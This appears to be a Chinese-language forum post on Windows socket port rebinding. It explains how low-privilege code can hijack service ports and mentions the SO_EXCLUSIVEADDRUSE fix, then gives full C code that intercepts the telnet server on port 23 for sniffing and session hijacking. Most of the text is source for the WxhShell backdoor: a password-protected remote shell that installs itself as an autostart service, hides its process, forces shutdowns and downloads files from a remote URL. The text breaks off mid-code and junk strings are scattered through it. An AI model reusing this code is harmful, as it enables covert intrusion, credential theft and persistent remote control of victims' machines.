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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2/v35| ?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4-7kS85  
|RR%bQ^{  
  saddr.sin_family = AF_INET; `%t$s,TiP  
_e?q4>B)c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]DC;+;8Jc  
I!$jYY2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i<4>\nc  
i\=z'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p~Hvl3SxR  
4AY _#f5u  
  这意味着什么?意味着可以进行如下的攻击: N+CXOI=6x  
NI5]Nz<?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >H0) ph  
^w:OS5%R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0W T#6D  
*M> iZO*@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c Ndw9?Z  
.7 (DxN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L@{!r=%_>  
)p$\gwr=2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M11"<3]D  
4meidKw]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u(pdP"  
\C]i|]tl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H+4=|mkQ  
{8^Gs^c c  
  #include `6a]|7|f  
  #include lpl8h4d  
  #include xT9Yes&  
  #include    ''#p47$8<d  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?mH@`c,fM  
  int main() ],;D2]<s  
  { 5/& 1Oxo  
  WORD wVersionRequested; `%-4>jI9-  
  DWORD ret; Y]C; T  
  WSADATA wsaData; hc-lzYS  
  BOOL val; Xzl KP;r0  
  SOCKADDR_IN saddr; r1i$D  
  SOCKADDR_IN scaddr; mD9STuA$H  
  int err; 79)A%@YHQQ  
  SOCKET s; B0f_kH~p~  
  SOCKET sc; rkxW UDl   
  int caddsize; :{[<g](  
  HANDLE mt; cu[!D}tVU  
  DWORD tid;   5^)?mA  
  wVersionRequested = MAKEWORD( 2, 2 ); +yzcx3<  
  err = WSAStartup( wVersionRequested, &wsaData ); Tr}R`6d$  
  if ( err != 0 ) { 2HcsQ*H] G  
  printf("error!WSAStartup failed!\n"); cyW;,uT)D  
  return -1; 'oleB_B  
  } :e1'o  
  saddr.sin_family = AF_INET; c{1V.  
   ?22d},.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mfXD1]<.  
`.{U-U\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o_iEkn  
  saddr.sin_port = htons(23); pG/ NuImA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]]>nbgGn#  
  { H76E+AY  
  printf("error!socket failed!\n"); ecn}iN  
  return -1; :/+>e IE  
  } B;VH`*+X  
  val = TRUE; >&bv\R/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )T>8XCL\}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 82lr4  
  { $Axng J c  
  printf("error!setsockopt failed!\n"); <5dH *K  
  return -1; m"n.Dz/S  
  } \CcmePTN#x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >G]?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i-`,/e~XT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )))2f skZ  
5v"Y\k+1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _-n Y2)  
  { x_yF|]aI!  
  ret=GetLastError(); 8KFj<N>'  
  printf("error!bind failed!\n"); {={^6@  
  return -1; o6*/o ]]  
  } [M4xZHd#o  
  listen(s,2); IWQ&6SDW$z  
  while(1) Bb~5& @M|N  
  { d+tj%7  
  caddsize = sizeof(scaddr); 0f1H8zV  
  //接受连接请求 ASR-a't6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d7E7f  
  if(sc!=INVALID_SOCKET) C5Xof|#p|  
  { h%' N hV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?4,@, ae&  
  if(mt==NULL) 5? Wg%@  
  { cST\~SUm  
  printf("Thread Creat Failed!\n"); >;,gGH  
  break; $57\u/(  
  } A^-iHm  
  } W+8^P( K  
  CloseHandle(mt); 5:c;RRn  
  } +kM\ D~D1  
  closesocket(s); ) !i!3  
  WSACleanup(); VUp. j  
  return 0; D3y>iQd   
  }   T8U[xu.>  
  DWORD WINAPI ClientThread(LPVOID lpParam)  =^Th[B  
  { S/VA~,KCe;  
  SOCKET ss = (SOCKET)lpParam; ZW>o5x__b  
  SOCKET sc; )!A 2>  
  unsigned char buf[4096]; [UoqIU  
  SOCKADDR_IN saddr; Rs2-94$!5  
  long num; GMBJjP&R]  
  DWORD val; }wfI4?}j}  
  DWORD ret; ^p,3)$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }t\ 10nQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   UxeL cUP  
  saddr.sin_family = AF_INET; y1iX!m~)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [m\,+lG?)j  
  saddr.sin_port = htons(23); k {a)gFH O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c}%es=@  
  { IP04l;p/  
  printf("error!socket failed!\n"); gGI8t@t:  
  return -1; >60"p~t  
  } uoHqL IpQ  
  val = 100; JA<~xo[Q9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gKWzFnW  
  { GMdI0jaG#  
  ret = GetLastError(); AF GwT%ZD  
  return -1; ]U[&uymax  
  } =5ug\S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @ u+|=x];  
  { 8b7;\C~$p  
  ret = GetLastError(); )!eEO [\d  
  return -1; VD/&%O8n  
  } Lyr2(^#:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 088C|  
  { ^>^ \CP]  
  printf("error!socket connect failed!\n"); B7!;]'&d  
  closesocket(sc); KzG_ <<  
  closesocket(ss); uf]Y^,2  
  return -1; E5gl^Q?Z  
  } ,E?4f @|X  
  while(1) "Hht g:  
  { Ukc'?p,*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jn$j^ 51`C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wWTQ6~Y%d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n' ?4.tb  
  num = recv(ss,buf,4096,0); "U{,U`@?  
  if(num>0) pDOM:lGya  
  send(sc,buf,num,0); oIb) Rq!m  
  else if(num==0) hO6RQ0Iv@  
  break; 0wFh%/:  
  num = recv(sc,buf,4096,0); &DLhb90  
  if(num>0) ~ M*gsW$  
  send(ss,buf,num,0); 1"O&40l  
  else if(num==0) 4)^vMG&  
  break; 3D[=b%2\  
  } O: JPJ"!  
  closesocket(ss); >jMH#TZaX  
  closesocket(sc); "15=ET  
  return 0 ; | 3giZ{  
  } C2G  |?=  
>S'>!w  
IY)5.E _  
========================================================== SKR;wu  
TV=c,*TV  
下边附上一个代码,,WXhSHELL K2HvI7$-  
s@~/x5jwCs  
========================================================== hJ[UB  
N@()F&e  
#include "stdafx.h" *S4aF*Qk  
TKOP;[1h  
#include <stdio.h> \XS]N_}8>  
#include <string.h> RdI} ;K  
#include <windows.h> Dx3%K S  
#include <winsock2.h> JNBT^=x  
#include <winsvc.h> hk} t:<  
#include <urlmon.h> h$Tr sO  
[4>r6Hqxr  
#pragma comment (lib, "Ws2_32.lib") Ea]T>4  
#pragma comment (lib, "urlmon.lib") =/9<(Tt%m  
Q]#Z9H  
#define MAX_USER   100 // 最大客户端连接数 76u{!\Jo/{  
#define BUF_SOCK   200 // sock buffer ^f|<R8`  
#define KEY_BUFF   255 // 输入 buffer -~O/NX  
V#J"c8n  
#define REBOOT     0   // 重启 RZh}:  
#define SHUTDOWN   1   // 关机 X+iK<F$  
&@6 GI<  
#define DEF_PORT   5000 // 监听端口 g$w6kz_[  
j"hASBTgp  
#define REG_LEN     16   // 注册表键长度 azX`oU,l  
#define SVC_LEN     80   // NT服务名长度 0T))>.iu#  
{eR9 ;2!  
// 从dll定义API lFf XWNb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .C= I^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s.:r;%a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aZKXD! 4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c'0 5{C  
2~FPw{]j  
// wxhshell配置信息 VR4%v9[1  
struct WSCFG { y|sma;D  
  int ws_port;         // 监听端口 4AHL3@x  
  char ws_passstr[REG_LEN]; // 口令 e4[) WNR  
  int ws_autoins;       // 安装标记, 1=yes 0=no dy:d=Z  
  char ws_regname[REG_LEN]; // 注册表键名 ^ ulps**e  
  char ws_svcname[REG_LEN]; // 服务名 K-(;D4/sQE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7'OPjt M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H$tb;:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5v9uHxy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N9]xJgTze  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4ht\&2&:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O]qPmEj  
/9_#U#vhY  
}; `?uPn~,e8  
+< KNY  
// default Wxhshell configuration "}zda*z8  
struct WSCFG wscfg={DEF_PORT, VAKy^nR5j  
    "xuhuanlingzhe", xl2g0?  
    1, 1;Xgc@  
    "Wxhshell", m r4b  
    "Wxhshell", +(mL~td01  
            "WxhShell Service", dJl^ADX[@  
    "Wrsky Windows CmdShell Service", ({M?Q>s  
    "Please Input Your Password: ", [ H,u)8)  
  1, !8$RBD %  
  "http://www.wrsky.com/wxhshell.exe",  YqU/\f+  
  "Wxhshell.exe" GuO`jz F  
    }; f1Zt?=  
yd>}wHt  
// 消息定义模块 ?/d!R]3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T"!EK&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l!IGc:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ``9 GY  
char *msg_ws_ext="\n\rExit."; ^,V[nfQR  
char *msg_ws_end="\n\rQuit."; Q4wc-s4RN  
char *msg_ws_boot="\n\rReboot..."; q# vlBL  
char *msg_ws_poff="\n\rShutdown..."; /6U 4S>'(  
char *msg_ws_down="\n\rSave to "; };sMU6e  
HmV /> 9  
char *msg_ws_err="\n\rErr!"; \ e,?rH  
char *msg_ws_ok="\n\rOK!"; 5@P-g  
!kXeO6X@m  
char ExeFile[MAX_PATH]; G9RP^  
int nUser = 0; <zfKC  
HANDLE handles[MAX_USER]; F_ljx  
int OsIsNt; L'9N9CR{i  
*IZf^-=Q  
SERVICE_STATUS       serviceStatus; HarFE4V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (p |DcA]BX  
h\y-L~2E  
// 函数声明 ut5yf$%  
int Install(void); \L[i9m|e  
int Uninstall(void); VPd,]]S5(  
int DownloadFile(char *sURL, SOCKET wsh); 8R xc&`_X  
int Boot(int flag); #J$qa Ul  
void HideProc(void); Nn#u%xvJt  
int GetOsVer(void); 9#rt:&xo0  
int Wxhshell(SOCKET wsl); Z@J.1SaB  
void TalkWithClient(void *cs); 5 =Z!hQ}  
int CmdShell(SOCKET sock); Uix{"  
int StartFromService(void); tt4+m>/T  
int StartWxhshell(LPSTR lpCmdLine); #D)x}#V\  
R8<eN9bJ9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iV hJH4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .Z%G@X*  
o6|-=FcvC  
// 数据结构和表定义 0H:dv:#WAI  
SERVICE_TABLE_ENTRY DispatchTable[] = HXks_ix )  
{ R]Qp Mj%o  
{wscfg.ws_svcname, NTServiceMain}, [ rdsv  
{NULL, NULL} ',mW`ZN  
}; _N'75  
)|]Z>>%t  
// 自我安装 )+Y&4Qu  
int Install(void) (ZPXdr  
{ 7ZFJexN]  
  char svExeFile[MAX_PATH]; Z$;"8XUM  
  HKEY key; F~_;o+e;X  
  strcpy(svExeFile,ExeFile); &KqVN]1+^  
zk=\lp2  
// 如果是win9x系统,修改注册表设为自启动 e|'N(D}h*  
if(!OsIsNt) { !T'X 'Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LfX0Z=<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .ECHxDp  
  RegCloseKey(key); !R:y'Y%j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cZQu*K^j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -<W2PY<  
  RegCloseKey(key); m0( E kK  
  return 0; #Lka+l;L7  
    } dr })-R  
  } o&-L0]i|  
}  T-8J   
else { <NB41/  
xmH-!Da  
// 如果是NT以上系统,安装为系统服务 \G;CQV#{9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @@} `hii  
if (schSCManager!=0) zvf3b!}  
{ Dip*}8$o(w  
  SC_HANDLE schService = CreateService $a.u05  
  ( n33kb/q*  
  schSCManager, U9ZbVjqv@  
  wscfg.ws_svcname, H_B~P%E@]  
  wscfg.ws_svcdisp, =!<G!^  
  SERVICE_ALL_ACCESS, S,vu]?-8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kRot7-7I|  
  SERVICE_AUTO_START, H(qm>h$bU  
  SERVICE_ERROR_NORMAL, :vQM>9l7  
  svExeFile, /iC_!nu  
  NULL, WE.Tuo5L  
  NULL, 6Rz[?-mkLO  
  NULL, GGE[{Gb9  
  NULL, c8ZCs?   
  NULL 8H $#+^lW  
  ); DO^y;y>  
  if (schService!=0) >q(6,Mmb  
  { NWKi ()nA%  
  CloseServiceHandle(schService); :ba/W&-d  
  CloseServiceHandle(schSCManager); eXzXd*$S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pm]fQ uq  
  strcat(svExeFile,wscfg.ws_svcname); @"8R3BN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ty- r&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y/R+$h(%  
  RegCloseKey(key); j Z'&0x"U  
  return 0; - L~Uu^o  
    } l3J$md|f  
  } ;~/4d-  
  CloseServiceHandle(schSCManager); JR1 *|u  
} ~A >o O-0K  
} PDC]wZd/  
zj20;5o>U&  
return 1; dDlG!F_=  
} 6P+DnS[]  
XO wiHW{  
// 自我卸载 f\}22}/  
int Uninstall(void) pFIecca w  
{ 1xTTJyoq  
  HKEY key; ` clB43 i  
.~`Y)PON  
if(!OsIsNt) { pP\h6b+B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { knSuzq%*  
  RegDeleteValue(key,wscfg.ws_regname); =kFuJ x)f  
  RegCloseKey(key); }O*WV1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V/bH^@,sA  
  RegDeleteValue(key,wscfg.ws_regname); ~`Sle xK|}  
  RegCloseKey(key); )w"0w(   
  return 0; yNva1I  
  } (=JueF@J  
} ( u f5\}x  
} j=j+Nf$  
else { 9#@Zz4Ww  
&r@H(}$1\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Z s,-=^D  
if (schSCManager!=0) SE!L :  
{ e1P7 .n}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z5EVG  
  if (schService!=0) [hU=m S8=^  
  { B||c(ue  
  if(DeleteService(schService)!=0) { kp`0erJqw  
  CloseServiceHandle(schService); 3*WS"bt  
  CloseServiceHandle(schSCManager); F]5\YYXO  
  return 0; O5;-Om  
  } o!Fl]3F  
  CloseServiceHandle(schService); Yu3_=: <C  
  } i<iXHBs  
  CloseServiceHandle(schSCManager); <SQ(~xYi  
} QS\ x{<e/  
} }m_t$aaUc1  
@^CG[:|  
return 1; {!=2<-Aq  
} ;3 UvkN  
3;y_mg  
// 从指定url下载文件 E@pFTvo  
int DownloadFile(char *sURL, SOCKET wsh) F= i!d,S  
{ D5` (}  
  HRESULT hr; p7UTqKi  
char seps[]= "/"; Wz{%"o  
char *token; XS|mKuMc C  
char *file; v3^t/[e~:  
char myURL[MAX_PATH]; H[BYE  
char myFILE[MAX_PATH]; C*G/_`?9  
*Sb2w*c>  
strcpy(myURL,sURL); fuyl/bx}  
  token=strtok(myURL,seps); KjYDFrR4  
  while(token!=NULL) ,?y7 ,nb  
  { HRHrSf7  
    file=token; D rTM$)  
  token=strtok(NULL,seps); c[{UI  
  } vYzVY\   
`M rBav  
GetCurrentDirectory(MAX_PATH,myFILE); gj;@?o0  
strcat(myFILE, "\\"); wOcg4HlW  
strcat(myFILE, file); )E`+BH  
  send(wsh,myFILE,strlen(myFILE),0); ':sTd^V  
send(wsh,"...",3,0); P)IjL&[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b~as64  
  if(hr==S_OK) ;[~^( . f  
return 0; 'w6hW7"L  
else UE7'B?  
return 1; w `!LFHK  
ysVi3eq  
} w_H2gaQ  
3{pk5_c  
// 系统电源模块 x@Vt[}e  
int Boot(int flag) (UcFNeo  
{ ^0Q'./A{&  
  HANDLE hToken; 8uA<G/Q;  
  TOKEN_PRIVILEGES tkp; 4NUN Ov`[{  
4:3_ER]J  
  if(OsIsNt) { GZ"/k<~0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KpGUq0d@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TkT-$=i  
    tkp.PrivilegeCount = 1; %~\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gvo?([j-m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _ n_sfT6)B  
if(flag==REBOOT) { |."G?*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8m7;x/0ld  
  return 0; LE| <O  
} f9F2U )  
else { m&cvU>lC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I-{^[pp  
  return 0;  ~me\  
} e>!E=J)j  
  } kjX7- ZPY  
  else { b[0S=e G  
if(flag==REBOOT) { B_tQeM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kp; &cQu!  
  return 0; Nm"<!a<F  
} C9pnU,[  
else { tQ[]Rc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X~zRZ0  
  return 0; 6Pijvx^0  
} HTN$ >QTI  
} 3W'FcE)|E  
ol#yjrv  
return 1; 4Pf+]R  
} "ZqEP R)  
ZM 8U]0[X  
// win9x进程隐藏模块 BPiiexTV9  
void HideProc(void) jYk5~<\k  
{ dq2@6xd  
D&f!( n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %r P !  
  if ( hKernel != NULL ) WP!il(Gr  
  { F-tFet  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Se/ss!If  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N-Z^G<[q.  
    FreeLibrary(hKernel); ,\}k~ U99  
  } % GVN4y&  
) H+d.Y  
return; nj"m^PmWo3  
} _j>L4bT  
e3pnk =u  
// 获取操作系统版本 ?cJA^W  
int GetOsVer(void) ]7l{g9?ZtV  
{ ( QKsB3X  
  OSVERSIONINFO winfo; {RJ52Gx(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,@479ZvvR3  
  GetVersionEx(&winfo); T,Fm"U6[(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `OBl:e  
  return 1; g+3Hwtl  
  else ExqM1&zpK  
  return 0; }Q ;BQ2[  
} Ta^.$O=F  
o Fi) d[`  
// 客户端句柄模块 IF e+ B"  
int Wxhshell(SOCKET wsl) IE}Sdeqi)  
{ P]- #wz=S  
  SOCKET wsh; Y=|CPE%V  
  struct sockaddr_in client; /wlFD,+8  
  DWORD myID; DEcGFRgN~  
ILNXaJ'0a  
  while(nUser<MAX_USER) 5E0wn'  
{ )Z&HuEg{ZR  
  int nSize=sizeof(client); w?i)/q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :S#i9# aB  
  if(wsh==INVALID_SOCKET) return 1; }q]jjs  
oHk27U G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [)0 R'xL6  
if(handles[nUser]==0) y%FYXwR{  
  closesocket(wsh); gz#+  
else 7<vy;"wB  
  nUser++; ,k\/]9  
  } vU7&'ca  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EFeAr@nj  
A^t"MYX@  
  return 0; 88#N~j~P  
} B9AbKK$`  
b70AJe=  
// 关闭 socket vLr&ay!w  
void CloseIt(SOCKET wsh) {x|MA(NO  
{ l -XnB   
closesocket(wsh); ZDfS0]0F  
nUser--; 0xLkyt0  
ExitThread(0); d0Tg qO{  
} *0lt$F$~b  
X&/(x  
// 客户端请求句柄 JLml#Pu4  
void TalkWithClient(void *cs) g4i #1V=  
{ b13nE .  
YN$`y1V  
  SOCKET wsh=(SOCKET)cs; G$|G w  
  char pwd[SVC_LEN]; 3eJ\aVI>pE  
  char cmd[KEY_BUFF]; oH=4m~'V  
char chr[1]; $@68=  
int i,j; ";o~&8?)  
}tu4z+T2  
  while (nUser < MAX_USER) { t Z+0}d  
mqubXS;J|P  
if(wscfg.ws_passstr) { R&gWqt/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {({ R:!c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !eV^Ah>PZ  
  //ZeroMemory(pwd,KEY_BUFF); Zi ma^IL  
      i=0; 4bE42c=Ca7  
  while(i<SVC_LEN) { ]bf'  
4^0\dq  
  // 设置超时 xiEcEz'lk  
  fd_set FdRead; y)IGTW o  
  struct timeval TimeOut; &&ja|o-  
  FD_ZERO(&FdRead); f]hBPkZ6  
  FD_SET(wsh,&FdRead); haN"/C^  
  TimeOut.tv_sec=8; 7(H ?k  
  TimeOut.tv_usec=0; y)0gJP L^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <. ezw4ju  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r!CA2iK`  
$tEdBnf^ca  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F|9a}(-7  
  pwd=chr[0]; Ca$y819E2  
  if(chr[0]==0xd || chr[0]==0xa) { t`h_+p%>  
  pwd=0; Hi$#!OU  
  break; `Yg7,{A\J  
  } gfV]^v  
  i++; )8 oEs  
    } gh.w Li$+  
Q=^ktKMeR  
  // 如果是非法用户,关闭 socket w 7Cne%J8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >xk lt"*U,  
} suzFcLxo  
?56~yQF/2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |C^ c0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tWcizj;?wK  
^ sS>Mts  
while(1) { N|bPhssFw  
r4;^c}  
  ZeroMemory(cmd,KEY_BUFF); "0!~g/X`rK  
6Wf*>G*h  
      // 自动支持客户端 telnet标准   v`@5enr  
  j=0; HI}pX{.\  
  while(j<KEY_BUFF) { Z3OZPxm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,G/\@x%  
  cmd[j]=chr[0]; 8}Fw%;Cb  
  if(chr[0]==0xa || chr[0]==0xd) { 9Ilfv  
  cmd[j]=0; qn5y D!1  
  break; t `N ">c"  
  } >fW+AEt\JB  
  j++; JHnk%h0  
    } #(m `2Z`H  
[Od>NO,n+]  
  // 下载文件 vx({N?  
  if(strstr(cmd,"http://")) { d4b 9rtM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #9URVq,  
  if(DownloadFile(cmd,wsh)) v(i1Z}*b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MtMvpHk  
  else .CIbpV?T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3L'en  
  } >lUBt5gU  
  else { n$XMsl.>  
1EKcD^U,  
    switch(cmd[0]) { aeN }hG  
  53g8T+`\(  
  // 帮助 >xhd[  
  case '?': { dt`9RB$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \] tq7  
    break; <1;,B%_^  
  } MzBfHt'Rk  
  // 安装 9^6|ta0;0  
  case 'i': { ,-w-su=J_  
    if(Install()) $)kk8Q4+K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jx^|2  
    else *+_fP|cv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;t.SiA  
    break; QO1A976o  
    } 6i*ArGA   
  // 卸载 S3%.-)ib  
  case 'r': { ">0/>>Ry  
    if(Uninstall()) d A_S"Zc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WLg6-@kxXs  
    else -o=P85 V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eXskwV+7  
    break; clPZd  
    } YR^Ee8_H  
  // 显示 wxhshell 所在路径 @&nx;K6h  
  case 'p': { ^.pE`l%1}  
    char svExeFile[MAX_PATH]; [ZL r:2+z  
    strcpy(svExeFile,"\n\r"); B|Rpm^ |  
      strcat(svExeFile,ExeFile); &0;{lS[N:L  
        send(wsh,svExeFile,strlen(svExeFile),0); P#vv+]/  
    break; 3B!&ow<rt  
    } N}.Q%&6:  
  // 重启 sRo<4U0M;l  
  case 'b': { )A>U<n$h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2n-Tpay0  
    if(Boot(REBOOT)) ,H#qgnp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SK2J`*  
    else { F^%{ ;  
    closesocket(wsh); w@ gl  
    ExitThread(0); Z~-T0Ab-  
    } f)u*Q!BDD  
    break; %x cM_|AyR  
    } <3],C)Zwc  
  // 关机 =F^->e0N  
  case 'd': { }iiG$?|.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ne !j%9Ar  
